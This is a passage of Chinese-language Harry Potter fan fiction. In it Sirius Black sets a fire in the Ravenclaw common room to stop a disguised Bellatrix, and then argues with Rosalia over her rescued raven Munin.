“别跟个结巴一样,卢修斯,你也没资格质疑我的决定——你这个愚蠢的、没有判断力的懦夫:被邓布利多几句鬼话吓得屁滚尿流,为了自保擅自更改本就拙劣的计划,还回复黑魔王说什么——‘我在终止夺魂咒前把东西巧妙地藏起来了,就连邓布利多的人都没发现,不过我自己也还没找到’——我从没听过这么荒谬的话!”
小天狼星的脚步顿住了。
“伟大的黑魔王看在你是马尔福的面子上,给了你一次赎罪和证明自己的机会,如果我是你,就会感恩戴德、夜以继日地弥补过错——可实际上你又在干什么?在学校里像个傻子一样看到西茜就上来调情?你不配成为黑魔王的仆人——我要告诉把这件事告诉主人!”
她的口吻、她的称呼,在小天狼星听来都是那么耳熟,几乎让他立刻就攥紧了拳头。可是,当他迈过拐角,看到的却是纳西莎·布莱克在用魔杖抵着卢修斯的脖颈。
小天狼星几乎立刻从脑中搜刮出了一剂魔药——复方汤剂。
现在在他眼前威胁卢修斯的,恐怕是喝下复方汤剂伪装成纳西莎·布莱克的贝拉特里克斯·布莱克。她俩可是好姐妹啊。
“不、不!别这么做!贝拉特里克斯!就当是看在西茜的面子上……”果然,下一刻卢修斯的说法验证了小天狼星的猜想。
卢修斯咽了咽口水,脖子上蒙了一层薄汗,说:“我真的已经、我在弥补过错了,我利用级长的身份,几乎找遍了这座城堡的每一处角落——”
“每一处?”贝拉特里克斯的魔杖刺得更深了一点,她那双眼睛泛起嘲讽的光。
“不、不是每一处。”卢修斯微弱地说:“但是尽我所能了——还有休息
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室,拉文克劳与格兰芬多的休息室我还没进去……赫奇帕奇和斯莱特林的,已经确定没有了……”
“那你还在等什么?”贝拉特里克斯退后一步。与此同时,小天狼星也缓慢地退到了墙角的盔甲后面。
“格兰芬多休息室,暂时进不去……他们不会有学生愿意透露口令给我们的,拉文克劳休息室……需要答题——我们可以去!可以去!我来答题……”
两个人一前一后地朝拉文克劳塔楼的方向走去,而贝拉特里克斯的每一步都在石砖地板上发出猖狂的脆响。小天狼星紧贴墙壁,在贝拉特里克斯从自己身前经过时屏住了呼吸,又在二人走远后毫不犹豫地跟了上去。
爬过一段令人眩目的楼梯后,鹰嘴青铜门环便近在眼前了。
贝拉特里克斯一脚踢在卢修斯的小腿肚上,后者踉跄几步,磨磨蹭蹭走到拉文克劳休息室大门跟前,一边整理领口一边轻咳一声:“我要进去。”
于是,鹰嘴缓缓吟唱:“什么东西看不见摸不着,却能够让人臣服?”
卢修斯:“呃……我想是——威望?比如家族的威望?”
鹰嘴道:“再想想。”
“什么——不对?”卢修斯冷汗涔涔地说。他甚至不敢回头看贝拉特里克斯。
小天狼星见状,差点笑出声来。虽然他知道这绝不是什么应该笑的时刻。
“恐惧。”
忽然,卢修斯背后的贝拉特里克斯往前迈了两步,她抬眼盯着鹰嘴门环,胡桃木魔杖在太阳穴轻点。阴森的笑意溢出唇角:“当然是恐惧了——多么美妙的感觉。唯有臣服于恐惧,成为恐惧的仆人,才能从恐惧中脱离,甚至成为恐惧的一部分——哈!”
这是什么毫无逻辑的回答,小天狼星鄙夷地心想,要是门环能放这俩脑子里装着蟑螂团子的人进去,他就——就——在给撒谎精的纸条上留下自己的署名。
然后,缓缓地,小天狼星听到鹰嘴道:“有道理。”
拉文克劳休息室的木门开了一条小缝。
小天狼星在心底骂了一声。
贝拉特里克斯一把推开卢修斯,大摇大摆地迈入休息室。而卢修斯则留在外面,拉住门环紧张兮兮地放风张望。小天狼星便趁着这个空隙飞快地绕开他,跟着贝拉特里克斯一路钻进了休息室。
刚一进去,小天狼星就听见他的堂姐咬牙切齿地啐了一句脏话。
他很快就知道为什么了——虽然小天狼星不清楚贝拉特里克斯到底要找什么东西,但拉文克劳休息室内,光是成堆的书就一直摞放到天花板上,无论她找什么都不会方便。
如果她要找的是某本书,那该多么美妙啊。
小天狼星隐秘地想。
天遂人愿,贝拉特里克斯举起魔杖,开始翻找所有目之所及的书籍。而为了避免被飞来的书籍击中暴露自己,小天狼星始终紧贴墙壁移动。终于,他在壁炉附近停下了。这是一个安全的角落。
他不可能让贝拉特里克斯就这么找下去。他会选择冒险溜进来,就是为了阻止贝拉特里克斯的行动。但是,要怎么做?
这时,身侧的壁炉突然发出噼啪脆响,一下便吸引了小天狼星的注意,他盯着其中烈烈燃烧的炭火,火焰隔着隐形衣给他眼睛渡上了一层炙红。
真遗憾。小天狼星从怀里掏出了自己写给罗萨利亚的羊皮纸,紧紧握在手里。他心想,詹姆、莱姆斯和彼得,怎么就错过了这出好戏呢?
21. 火烧拉文克劳
趁贝拉特里克斯转身的空隙,小天狼星努力伸长胳膊将羊皮纸探向那炉中的炭火。他嘴唇紧紧抿着,身体倾斜,终于,火苗以惊人的速度窜上“给拉文谢德”这几个潦草的大字。他成功了。
小天狼星将燃烧着的羊皮纸丢进书架背后的帷幔上,本来不到巴掌大的火焰立刻饥渴地攀附起来。然而,它的蔓延速度比预想中要慢太多了。
不能让贝拉特里克斯有熄灭它的机会。小天狼星的心猛烈地跳动着,他的手已经伸进睡衣口袋里握住了魔杖。火势必须再大一点,最好惊动所有拉文克劳的学生,混乱会成为他们最好的防护——
至于他自己——被发现就被发现,他心想,大不了就是一死,这下连禁闭都可以免了。
就在他将要开口念咒之时,一声尖锐的啼叫忽然从穹顶传来。与此同时,贝拉特里克斯猛然抬头,然而书架与典籍紧接着如落石般轰然坠下。
机会来了!小天狼星迅速反应,掏出魔杖低声喊道:“火焰熊熊!火焰熊熊!火焰熊熊!”
渡鸦的黑影在四面八方燃起的火焰与浓烟中盘旋。
“嘎——嘎——嘎——”
听见动静的,卢修斯手忙脚乱地从外面进来了——现在拉文克劳休息室简直一片混乱!
贝拉特里克斯正狼狈地从地上爬起来,她呲牙咧嘴地盯着渡鸦,连四面而起的火势都不管不顾了,只一味举着魔杖,发了疯似的朝那该死的鸟发射魔咒:“钻心剜骨!粉身碎骨!阿瓦达索命——”
已经躲到盥洗室的小天狼星的心高高吊起来了,他小声喝道:“加油!渡鸦!好样的!躲得好!”
“快走!快走!”卢修斯满头大汗,拼了命才拽住贝拉特里克斯。二人仓皇跑出拉文克劳休息室。
整个拉文克劳学院的学生都被惊醒了。
一声又一声尖叫响彻整个休息室。
“着火了!着火了!所有人快醒醒——”
小天狼星摘下隐形斗篷的兜帽,朝着天上的渡鸦喊道:“快过来!”
渡鸦调转了方向,歪歪扭扭朝小天狼星唯一现形的脑袋飞来,最终被落到了隐形衣上。小天狼星见它翅膀有烧焦的痕迹,便赶紧把它搂进怀里护住。
“好了、好了,你安全了,你保护了我,我也会保护你的,小渡鸦。”小天狼星施展着铁甲咒,带着渡鸦飞快地逃离了现场。
……
霍格沃茨的防火设施被及时催发,邓布利多校长和四位院长穿着睡衣赶到时,拉文克劳的学生已经全部撤离出休息室。室内的穹顶还在绵绵不绝地下着暴雨——这是城堡在自救灭火。
邓布利多一挥手,雨水就停止了。整个休息室,书籍、灰烬、烧焦的地毯,全部杂乱地混在一起。
他关切而严肃地询问拉文克劳级长:“有任何人受伤吗?”
“没有,校长,我和其他几个人一起使用了魔咒保护学生们撤离。”级长强撑着精神说:“只有几个学生呛了浓烟。”
“很好。”邓布利多拍拍他的肩膀,又侧过身说:“庞弗雷夫人,还麻烦你照顾一下受惊的学生们。”
“当然。”
“咳咳……”
罗萨利亚被人搀扶着在一旁,咳嗽个不停。很显然,她就是那几个学生之一——因为她的鸟巢位置很高,浓烟几乎塞满了她的床铺。
庞弗雷夫人递给她一瓶药剂:“喝吧,孩子,喝完就会好受点。”
“这到底是怎么回事?邓布利多教授?”麦格教授问出了所有人的疑惑——大半夜的,拉文克劳休息室怎么会着火?
邓布利多打量着残破的休息室,随后走到一堆灰烬面前蹲了下来,他先是耸动鼻子嗅闻几下,又用手指轻轻拨开附近散落的书页,从里面捻起什么塞到了袖子里,最后起身道:“大概是有人潜入了拉文克劳休息室,还试图攻击什么,麦格教授。”
弗立维教授捻起帷幔一角仔细观察,说道:“校长,我可以确认,这是火焰熊熊造成的痕迹。但是从魔法残余来看,使用者的手法并不成熟。否则,火势只会更大。”
“谢谢你的补充,弗立维教授。看来现场至少有两个人。”邓布利多转头看向斯拉格霍恩:“斯拉格霍恩教授,你愿意进来一下吗?”
斯拉格霍恩扶着睡帽,踌躇地踏进又脏又湿的休息室,他手举着魔杖,尽量不让天花板滴下的水滴击中自己的鲜绿色睡衣,说道:“什么事,邓布利多教授?”
“或许你在这方面更有经验?”邓布利多问:“你有没有嗅到什么味道?”
“嗅到——什么?”斯拉格霍恩学着他的模样嗅了嗅,一脸的茫然。
邓布利多没有回答,而是转向一旁的斯普劳特教授,说:“斯普劳特教授,或许你愿意帮我问问走廊上的画像吗?看看他们是否对昨晚的一切有印象。”
“没问题,教授。”斯普劳特教授转身出去。
邓布利多点点头,随后抬起魔杖。拉文克劳休息室内残破的碎片在他无声的魔咒下开始一点点归位,地板、墙壁、天花板修理一新,书籍重新堆放整齐,湿潮也从地毯上迅速退去。一眨眼的功夫,拉文克劳休息室就恢复了原貌。
他走出休息室对所有人说:“你们的休息室已经修缮妥当,但是鉴于此次事件给所有人造成的影响,明天——或者说是今天,全校的课程暂停,隔天再恢复正常。”
“呛烟严重的几位同学,请随庞弗雷夫人去往校医院观察休息。剩下的各位,请回到你们的巢穴中吧,我和几位教授会查明这次火灾的起因。”
“闭上眼,好好休息,等太阳升起的时候,你们每个人都会在床边发现一包奶油花生糖。”
……
在醒来后获得奶油花生糖的,也包括住进校医院的罗萨利亚。
她在窸窸窣窣的交谈声中缓缓睁开眼,入目第一眼,看到的便是校医院的大理石天花板。
“罗萨醒了,西弗!”
“我看到了。”
左右两颗脑袋争相挤进她的视线,罗萨利亚刚想说你们怎么在这儿,就想到了昨晚邓布利多说今天全校停课一天的事。
莉莉扶着罗萨利亚坐起来,而斯内普则将奶油花生糖和一杯水递到她手中。罗萨利亚在他们的帮扶下适应了状态,说道:“谢谢你们来看我。”
“别说那些客气话。”莉莉紧紧攥着她的手:“昨晚的事真的吓死我们了,霍格沃茨也会发生火灾?我真没想到。”
罗萨利亚发自肺腑地说:“我也没想到。”
斯内普看着罗萨利亚仍然苍白的脸,问道:“你感觉怎么样?”
“别担心,我本来也没什么大事。”罗萨利亚朝他弯起眉眼笑了笑,放在一侧的手却隐晦地碰了碰斯内普的胳膊,说道:“但是关于这次火灾,我觉得事情并不简单。”
“不简单?”莉莉问。
斯内普的眼睛也闪烁了一下。
罗萨利亚知道他明白了自己的意思,便继续道:“昨晚,我听到斯普劳特教授询问走廊上的画像,问他们有没有见到什么可疑的人——咳咳!咳咳!”
“拉文谢德小姐,你醒了?”
庞弗雷夫人远远听见咳嗽声便快步走过来了。她严肃地说道
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:“病人应该少说话,多休息,拉文谢德小姐,你可以说是这几个孩子中吸入浓烟最多的一个了,更要注意身体。好了——你们二位,不要再抓着病人聊天了。既然已经等到朋友醒来,就回去吧!”
“不——”莉莉央求道:“庞弗雷夫人,我们刚才一直都很乖,您看到了的,就让我们再多待一会儿嘛。”
“……你们三个还真是要好啊,是吗?”庞弗雷夫人抿抿嘴唇,终究无奈地叹出一口气:“午餐时间快到了,你们俩别去晚了就行。”说罢,她重新拢好白色帘子,转而照顾其他学生去了。
“所以,”斯内普接上了刚才的话,“昨晚火灾发生前,有人闯入过拉文克劳休息室?”
罗萨利亚颔首道:“我听见几个画像回答说,大火烧起来之前他们都在睡觉,所以没看到有人进入拉文克劳休息室,但后来确实有瞥到两个人影匆匆逃离。至于是谁就不知道了。”
“难道罪魁祸首就是他们?可他们为什么要半夜到拉文克劳休息室放火呢?”莉莉困惑地皱起眉头。
斯内普沉默片刻,补充了另一则信息:“邓布利多教授已经开始严格管控学校和各学院的人员进出了。霍格莫德也暂时关闭。上午,他还派了弗立维教授和麦格教授去搜查拉文克劳休息室。”
“大差不差,不过准确来说,是‘检查’。”
一道苍老的声音从白色帘子外传来,谦和有礼地说道:“可以让我加入你们吗?拉文谢德小姐?”
罗萨利亚一愣,她与斯内普飞快地交换了眼神,说道:“请进。”
邓布利多缓缓拨开白色帘子。他今天穿了一身藏蓝色的挂着银饰的长袍。
“中午好,拉文谢德小姐、伊万斯小姐以及斯内普先生。”邓布利多说:“很抱歉,我并非有意探听你们的对话,只是凑巧经过——我是来向庞弗雷夫人询问学生们的情况的。不过,我也确实想见见你,拉文谢德小姐。”
“我吗?”罗萨利亚一愣。
“正是。”邓布利多关切地道:“你感觉好点了吗?奶油花生糖的味道如何?”
罗萨利亚回答:“好多了,教授。不过我还没尝试奶油花生糖的味道。”
“那就好——如你所见,我最近正对奶油花生糖青睐有加。尽管它差点把我的牙齿粘下来。”邓布利多高兴地说:“我还打算把它设置成办公室的口令呢——不过现在,让我们把话题从奶油花生糖上艰难移开吧。或许,斯内普先生和伊万斯小姐可以允许我单独跟拉文谢德小姐待一会儿吗?我保证只占用你们好朋友一点儿时间。”他伸手比了一个奶油花生糖大小的空间。
斯内普和莉莉彼此对视一眼,一道走出去了。
“我有一件事要告诉你,拉文谢德小姐。”邓布利多笑意黯然地朝病床近旁踱了几步,缓缓地说:“还请你不要太过悲伤。”
“……您请说。”
罗萨利亚看到邓布利多将手伸进袖子,掏了半天,终于将一小截漆黑的、焦糊的羽毛揪了出来。他低沉着声音说道:“我记得拉文谢德有以渡鸦为信使的习惯,然而,昨天在拉文克劳休息室的灰烬里,我找到了这个……我不确定你的渡鸦是否遭遇了不测,小姐。”
……什么?
罗萨利亚盯着那撮羽毛,心一下子沉闷得像灌了铅。顷刻间,她脑子里什么东西都没有了。
“我对此感到很抱歉。”邓布利多歉意地说:“渡鸦是非常有智慧的一种鸟类,或许,它曾与闯入休息室的人有过周旋——无论如何,我想让你知道——它是为了保护你、保护拉文克劳的学生们,才这么做的。”
22. 复方汤剂
“我知道了,教授。”
终于,在沉默了不知道多久之后,罗萨利亚找回了自己的声音。
邓布利多望着她,语气温和地说道:“除此之外,其实我还有一件事需要和你聊聊。但也并不是很着急,我觉得你现在可能更需要朋友陪在身边。所以……等你好起来,就来办公室找我,好吗?”
罗萨利亚点点头:“好的。”
邓布利多朝她宽和一笑,随后重新把斯内普和莉莉叫了过来。三人目送邓布利多教授跟随庞弗雷夫人踱步而去后,才再度拉上白色帘子。
“邓布利多教授刚才对你说什么了?”斯内普问。
“没什么……”罗萨利亚的声音有些干涩,她的手掌之下正盖着穆宁的羽毛:“就是——我暂时还不想说。”
莉莉连忙道:“那就不要勉强自己。不说了。”
罗萨利亚张了张嘴,她其实还想聊一聊拉文克劳火灾的事,但现在她实在丧失了心情:“对不起,我心情不是很好,我想……要不你们先去吃饭吧。时间也不早了。”
莉莉与斯内普对视一眼,点了点头。
“那你好好休息,我们先走了。”
“嗯。”
临走前,斯内普为罗萨利亚拢好白帘。影影绰绰间,他从帘子中的缝隙里看到她的肩膀在光下一点点塌下来了。
与此同时,格兰芬多休息室男生宿舍内。
詹姆惊叹地望着小天狼星怀里的渡鸦,说道:“你让我晚点去吃饭就是为了——你这是从哪儿弄来的?”
小天狼星伸出手指在唇边“嘘”了一声,招招手示意詹姆快来他床上。詹姆瞥了一眼四周,确定没有其他人后,从自己的床上三步并作两步跳到小天狼星床上,还顺手拉上了帷幔。
“这是什么?乌鸦吗?”詹姆问。
“是渡鸦。”小天狼星轻柔抚摸着渡鸦黑漆漆的羽毛,说道:“它受伤了,我一会儿打算去庞弗雷夫人那里弄点药来。”
“怎么回事?你快说啊。”
小天狼星颇为得意地把昨晚发生的事都讲了一遍:“今天会停课,都是我的功劳。”
詹姆惊呆了,脱口而出:“我的老天,你不是在开玩笑吧?拉文克劳那事儿是你干的?!你疯了吧?虽然干得漂亮,但是——你疯了吧?被抓到肯定会被开除的!”
“詹姆?”是卢平的声音。
“你还没去礼堂吗?西里斯呢?也在吗?”
小天狼星听见卢平的声音正越来越近,他下意识把渡鸦往自己被子里塞,但后者显然不乐意,抬起翅膀给了他后脑勺一巴掌。这一幕正正好好被掀他床帘的卢平撞了个正着。
“……你们为什么挤在这里?”卢平第一眼先看见的是肩膀抵着肩膀的詹姆和小天狼星,然后才发现小天狼星背后竟然露出半截的黑色翅膀。
“……那是什么?”他吸了一口气。
小天狼星只好又把将卢平拉到床上,重新讲了一遍前因后果。
“马尔福——你堂姐——休息室——”卢平双眼瞪得滚圆:“西里斯·布莱克,你发疯了?晚上那么多人都在睡觉,你有想过他们的命吗?你——”
“这是最好的办法,总比被索命咒杀掉的好。”小天狼星强调道:“而且根本没人受伤——”
“你根本没法未卜先知。”卢平嘴角下拉,明显是生气了,他还想说点什么,视线却被那只渡鸦梳理羽毛的动作吸引,嘴巴里跳出的话一下子变成别的疑问:“等一下,不对,西里斯,你说这渡鸦从哪儿来的?”
“拉文克劳休息室。”小天狼星马上自豪地说:“关键时刻就是它帮我打了掩护,渡鸦不愧是最聪明的鸟。”
詹姆点点头,也称赞道:“一只鸦对抗三四个黑魔咒,这是鸦中勇者、鸦中的格兰芬多。”
“……你们都没有想过这是谁的渡鸦吗?”卢平问。
“‘谁的’?”小天狼星不以为意:“谁传信会用渡鸦?估计是霍格莫德那边飞来的吧。平时学校里也没少见各种小动物。”
“好吧,那我来告诉你。”卢平挑眉,道:“这很可能是罗萨利亚的信使,西里斯。”
小天狼星抚摸渡鸦的手停下了:“你说什么?”
“我还以为你对拉文谢德家族的传统非常了解呢。”卢平意有所指地说完,又对那只渡鸦喊了一声:“穆宁?”
渡鸦:“嘎!”
卢平将手一摊,示意小天狼星。
“你怎么——你怎么知道——”小天狼星从床上跳到地上,一把掀开了帷幔。
詹姆替他补上了全部的话:“你怎么知道这渡鸦是她的?”
“罗萨利亚在魔药课上跟我闲聊时提到过,穆宁从小就跟着她。”卢平把渡鸦穆宁从小天狼星床上小心地抱了起来:“你最好把穆宁还给她,昨晚发生了那么大的事情,你还——你还把她的渡鸦抱走了,她现在的心情可想而知——正好,你说过今天要去跟她解释清楚粘黏咒——”
“等等——”小天狼星看起来还停留在遭受打击的余波中:“你是说,这是撒谎精的渡鸦?”
渡鸦穆宁闻言,便尖叫着在卢平怀中扑腾起来,它尖尖的喙立刻朝着小天狼星的脑袋啄去。
“你——别当着穆宁的面那么喊,它听得懂。”卢平一把捂住穆宁的喙,同时小心地回望整个宿舍。
“不可能——”小天狼星不服气地叫嚷起来:“这只渡鸦跟我那么默契!它昨晚——直到刚刚都还那么亲近我呢!我都打算养着它了……它怎么可能是——怎么可能是拉文谢德的——我不接受——”
卢平说:“哦是吗,‘直到刚刚’还很亲近你。这至少能说明,罗萨利亚从来没在穆宁面前说过你的坏话,是吧,西里斯?”
詹姆反驳他:“嘿——那谁知道呢?说不定拉文谢德只是从来不提起我们罢了——我的意思是,她不会跟渡鸦说这些。”
无论如何,小天狼星的脸涨红了。
他恨死罗萨利亚了,同时也真是想不明白,自己怎么会在一个人身上栽这么多说不清道不明的跟头?
“我先不去找她。”小天狼星艰难地开口:“晚点再说。”
“那你现在要干什么?”卢平皱起眉头。
“我要——我要——”小天狼星忽然道:“对了,我要去找我堂姐。”
卢平的唇角又耷拉下来了:“……西里斯。”
詹姆则饶有兴致地问:“你的哪一个堂姐?”
“我真正的堂姐。”小天狼星说:“我认真的,莱姆斯,我现在有比归还渡鸦、还有解释那个本就是意外的魔咒更重要的事——我得拜托她帮我干一件大事。”
……
“西里斯,我真没想到这会是你干的。”
玫瑰花园的角落里,安多米达·布莱克微微皱起眉头:“我以为你顶多就干干投奔格兰芬多和圣诞节玩失踪这档事呢。”
“我那是去波特家玩了。”小天狼星笑眯眯地说:“而且,这才刚开始呢,堂姐。”
“雷古勒斯因为你圣诞节没回家,看起来还有点不高兴。”安多米达道。
“是吗?”小天狼星瞧着有些不以为意,语气却隐隐透着讽刺:“他盼着我回去?真稀奇。”
安多米达轻轻摇头:“雷吉今年也要上学了,西里,我想他是希望你能和他聊聊霍格沃茨的事的。”
“我不想跟他聊。”小天狼星生硬地扭转话题:“所以你能不能帮我,多米达?”<
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p>安多米达眯眯眼睛,也没再多说与雷古勒斯有关的事,道:“帮你搞来贝拉喝的复方汤剂是吗?”
“没错。复方汤剂时效短,她必然准备了不少。”小天狼星接着她的话,道:“你就找到她存放复方汤剂的容器,取几滴——反正不用很多,能用作证据就行,这事我只能拜托你了。”
安多米达无奈地叹道:“西里斯,我今年就要从学校毕业了,你可别害了我。你先告诉我,你管这件事干什么?”
“这还需要理由吗?”小天狼星小声嚷道:“贝拉特里克斯本就不该再出现在学校里,何况她还在和卢修斯·马尔福一起为伏地魔效力。他们甚至可能伤害其他学生的性命!总之,我要把复方汤剂交给邓布利多校长——哪怕他因为拉文克劳火灾的事把我开除,我也要抓住他们!”
安多米达微微挑起眉梢:“听起来很有志气和正义感?”
“别把我当小孩子了,安多米达。”小天狼星把肩膀舒展开,道:“我将来要走什么路,我早就想好了。学校不要我,我就去南边流浪,随便过一辈子也可以,比困在窒息的格里莫广场要强太多了。”
闻言,安多米达的眼睛闪烁着微光。
“而且,最重要的是,这样我就有理由不干关禁闭的那些活儿了。”小天狼星得意地说。
安多米达眼中的光“噗”一下又熄灭了。
她哭笑不得地说道:“好吧。我会想办法,也会尽快,但不能保证一定成功。今年,我也有自己的计划,我不想惹事上身。”
“你是说毕业之后吗?你打算去哪?”
“不知道。”安多米达也学着他咧起嘴笑了。
所有人都说安多米达和贝拉特里克斯长得相似,可小天狼星却从不这么认为。
他听见安多米达悠悠地说道:“也许和你计划的差不多?去流浪?再和心爱的人结婚——对方最好是麻瓜出身——这样我就可以被家族除名了?听起来这么样?”
“好极了!记得发结婚请柬给我。”小天狼星笑得格外开心,他伸出手正要跟安多米达击掌,余光却瞥到什么,于是胳膊一用力,直接把安多米达拽到了一座雕像后面。
“怎么了?”安多米达顺着小天狼星的视线看过去,一个留着齐肩黑发、面色苍白的男孩与一个有着深红长发、脸色红润的女孩正并肩往门厅走去。
小天狼星冷笑一声:“一个讨厌的人。”
“那个男孩?”安多米达眯起眼睛,像是在思考什么:“咦,我有点印象。”
“他是马尔福的哈巴狗。”小天狼星轻蔑地说:“你见过他也不奇怪。”
“前一句话我先按下不表,你怎么惹人家了?”
“什么叫‘我怎么惹人家’了?”小天狼星转过头道:“你怎么向着他说话?”
“我为什么要向着他说话呢?我只是在斯莱特林每周聚会上见过他几次,发现大部分时候他都很安静地坐在角落看书。”安多米达语气平淡:“基本都是别人在用他是混血巫师的事来惹他。”
“是吗?那他有没有用什么黑魔法让那些人四分五裂啊?”小天狼星嘲讽道。
安多米达侧目望着小天狼星,似乎有些惊讶,她说道:“那我就不知道了,西里斯,谁表面上不装装样子。”
小天狼星嗓子里发出“哼”的一声。
“既然说定了,那你也回去吧。”安多米达瞥了眼时间:“虽然今天是停课了,但你午休时间是不是还得关禁闭?”
闻言,小天狼星的脸色肉眼可见地衰败下来:“再等等吧,反正今天肯定不会有人检查,我晚上再去——我待会还有其他事。”
“你还有什么事?”
“我还得去一趟校医院。”
23. 渡鸦
霍格沃茨校医院内,罗萨利亚在吃完庞弗雷夫人送来的午饭后,便一直卧在床上。她用被子蒙住了自己的脑袋,眼睛却想被什么桎梏住似的,无论如何都闭不上。
她不相信穆宁死了。
……穆宁是一只特别聪明的鸟。它和其他动物不一样,它知道怎么在危机中保全自己,所以它应该是受伤了,躲到什么地方休息去了。
穆宁一向很有主意。应该是这样。没有尸体,只是一片羽毛,这说明不了什么——
……但如果它真的出事了呢?被魔咒打中尸骨无存?不行!不行——
……别再想下去了。
罗萨利亚默默封闭起自己的大脑。
别想那些事了,别再为已经发生的事难过了,这些都是没有用的。身体已经很疲倦了,现在最好睡一觉。
把眼睛闭上吧,现在就闭上,保持平稳呼吸……
终于,就在她要跌入梦境边缘之际,一道熟悉的声音突然钻入她耳中:
“……就是,能愈合伤口的就行。”
“先生,你得告诉我是什么类型的伤口——你为什么不带着你的朋友直接来校医院呢?”
“不是朋友,是一只渡鸦,它的翅膀受伤了,飞起来有点歪。”
“一只渡鸦?”
罗萨利亚霍然睁眼。
她掀开被子翻身下床,将白帘猛地剥到一边,却因为动作幅度太大而眼前一黑。
庞弗雷夫人惊声道:“拉文谢德小姐!”
罗萨利亚扶住了床沿,视线缓慢恢复清晰,露出了面前略显错愕的人:“……西里斯·布莱克?”
小天狼星退后一步:“你怎么——在这里?”
罗萨利亚压着心底的怒火说:“你把我的渡鸦怎么了?”
小天狼星显然没料到在这里也能撞见罗萨利亚,他迅速调整好状态:“‘你的渡鸦’?我怎么不知道整个霍格沃茨——还有霍格莫德的渡鸦都是你的?”
罗萨利亚一怔。
“快回床上待着,拉文谢德小姐。”庞弗雷夫人轻喝道。她把罗萨利亚重新揪回了床上。
小天狼星移开视线,继续道:“我的意思是,那是我今天早上捡到的——难道你的渡鸦走丢了?”
罗萨利亚的身体刚露出一点前倾的趋势,就又被庞弗雷夫人推回到枕头上靠着。她道:“……是。你能不能把你捡到的那只拿来给我看一眼?”
小天狼星转回视线:“换做别人我会答应,但你,我就要考虑考虑了。”
“好了。”庞弗雷夫人用白色的帘子隔断了两个人的对话:“你们两个都到此为止,别打扰其他人的休息——布莱克先生,我建议你把这只渡鸦带过来。你刚才那样的描述,让我没法判断伤情和适合的用药。正好,也可以让罗萨利亚小姐瞧瞧这只渡鸦是不是她走失的那只——这不是皆大欢喜吗?”
小天狼星轻哼一声,缓缓道:“既然您这么说,那我就把渡鸦带过来。”
脚步声逐渐远去。
罗萨利亚几乎是掰着指头读秒。她在床上呆坐了不知多久之后,终于又再次听到小天狼星的声音。
“庞弗雷夫人,我把它带来了。”
罗萨利亚抓紧了床单,嗓音发涩地呼唤道:“穆宁?”
“嘎!”
……天杀的,那就是她的渡鸦。
面前的白帘被罗萨利亚凭空掀开,抱着渡鸦的小天狼星和正在检查翅膀的庞弗雷夫人就这么和她对上了眼睛。
庞弗雷夫人吓了一跳:“梅林的胡子,我还以为你终于午睡了。”
穆宁看见罗萨利亚,便抽动翅膀从二人手中挣脱出来。它扑簌着落到自己主人的怀里,一边低声叫着一边用脑袋拱罗萨利亚。
罗萨利亚不停地摸它的羽毛:“没事了,没事了,我就知道你没事,我好好的,你也好好的……”
小天狼星在原地没动,手指却不禁攥紧了衣袍。
庞弗雷夫人倒是很欣慰:“算啦,找回来就好。邓布利多教授大概也会很乐于知道这件事——我看过它的伤口了,没有伤到骨头,滴上一滴白鲜香精就行。”说罢,她便转身去翻找药柜。
“喂。”小天狼星道:“你是不是该说点什么?”
然而,他却看见罗萨利亚抬起眼看自己,语气讥讽得和鼻涕精如出一辙:“说点什么?难道我应该谢谢你?你敢说自己不知道这是我的信使?”
……她眼睛的颜色太浅了,在这样的注视下,小天狼星忽然有种被看穿的感觉。可还没等他想好说什么,对方的动作就停顿下来了。他看到脸上闪过一丝说不清道不明的神色,道:“……你就没有什么想对我说的吗?”
“……我跟你没什么好说的吧?”
“关于粘黏咒的事情呢?”罗萨利亚问。
“你难道不知道那是个意外?”小天狼星道:“你觉得我确实干得出这种下流的事?”
“你真的干不出吗?”
“撒谎精!本来,我还想看在你渡鸦的面子上——”
“我再说一次!最后一次!”庞弗雷夫人拿着白鲜香精和另一支药剂过来了,她竖起一根手指立在嘴边,面色不悦:“你们这两颗曼德拉草,再这么叫唤,我就只能把你俩都轰出去——拉文谢德小姐,你的药剂可算熬好了,喝完你就可以出院了。”
说完,她走到罗萨利亚旁边,轻轻捏起穆宁的翅膀,在它伤口处滴了一滴药剂。穆宁疼得叫出了声,可在罗萨利亚伸手抚摸它之后,又乖乖把喙合上了。
眨眼间,渡鸦翅膀上的伤口就完全愈合了。庞弗雷夫人道:“好了,它现在也没事了,至于丢失的羽毛,就让它们自然生长吧。”
听完庞弗雷夫人的诊断,小天狼星丢下一句“我走了”便转身大步流星地离去。罗萨利亚盯着他飞扬的头发看了一会儿,随后低头揉揉穆宁的脑袋,轻声说:“好点了吗?穆宁?”
“嘎。”
“那就好,你能把西弗勒斯叫来吗?”
穆宁又叫了一声,扇动翅膀从屋顶半开的窗户滑翔而去。
小天狼星从校医院走廊绕到外面,站在路中间停下了。
他深吸一口凛冽寒风,这才压下心中的恼怒。
算了,他又何必在乎这些?所有的一切这都是莱姆斯让他干的——对,没错,自己只是看在朋友的面子上——而且撒谎精已经知道他不是故意的了。
小天狼星很快就把自己哄好了。
“嘎——嘎——”
正巧这时,耳后突然传来渡鸦的叫声。小天狼星立刻回头。他望着从校医院窗户飞出的穆宁,声音有些惊喜:“穆宁!”
穆宁抖动翅膀,在小天狼星身边盘旋一圈却没有落到他手上。它越过他的肩头,继续向前滑翔。于是小天狼星的目光也紧紧跟上。然而,下一秒,他却瞧见它朝远处一个瘦削的黑色影子直冲过去。
那影子伸出手臂,穆宁便稳稳地落在上面,高昂地鸣叫两声。小天狼星看到它跳到了那人肩头上,尾巴不住地抖动,瞧着高兴极了——就跟它昨晚在自己柔软的枕头上跳来跳去时是同一副姿态。
可待看清那团黑影是谁后,他的胸口就仿佛被一种名为背叛的巨石堵上了,憋得他喘不上气来。
——西弗勒斯·斯内普!太稀奇了,他竟然驮着穆宁朝校医院走来。
小天狼星扬起脑袋,也朝着对方来的方向走去。他几乎目不斜视地与斯内普擦肩而过,却在余光里瞥见那黑得恶心的眼睛正闪烁厌恶的光。
只这一瞬间,他就忍受不下去了:“把你的大鼻子拿远点,鼻涕精,我都闻到它油腻腻的味道了。”
斯内普则轻声细语地道:“看得出来你很享受这种嗅闻的姿态,只可惜没有狗在鼻子方面的优势。”
“你——”
小天狼星掏出了魔杖。
然而几乎同时,穆宁鸟喙微张、冲他抻出脖子、竖起了一边的翅膀——俨然一副攻击与保护的姿态。
小天狼星简直难以置信。这只鸟昨晚还跟自己同床共枕睡了一宿呢,现在居然护着他最讨厌的人!
“走吧,你的主人还在等我。”斯内普可不管他心里在想什么,直接伸
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手把穆宁的翅膀拢了回来,脚步远去。
